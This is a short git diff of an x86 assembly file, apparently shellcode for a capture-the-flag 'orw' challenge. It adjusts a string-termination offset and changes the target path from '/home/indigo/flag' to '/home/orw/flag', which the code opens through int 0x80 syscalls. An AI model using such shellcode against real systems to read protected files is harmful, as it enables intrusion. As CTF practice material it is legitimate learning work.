summaryrefslogtreecommitdiff
path: root/fread.asm
diff options
context:
space:
mode:
Diffstat (limited to 'fread.asm')
-rw-r--r--fread.asm4
1 files changed, 2 insertions, 2 deletions
diff --git a/fread.asm b/fread.asm
index d02753a..03c2ab7 100644
--- a/fread.asm
+++ b/fread.asm
@@ -9,7 +9,7 @@ xor ecx, ecx ; arg2
xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000
pop ebx
-mov [ebx + 18], ecx ; arg1
+mov [ebx + 15], ecx ; arg1
int 0x80
;eax now contains our file descriptor.
@@ -33,5 +33,5 @@ int 0x80
data:
call str_found
-db "/home/indigo/flag"
+db "/home/orw/flag"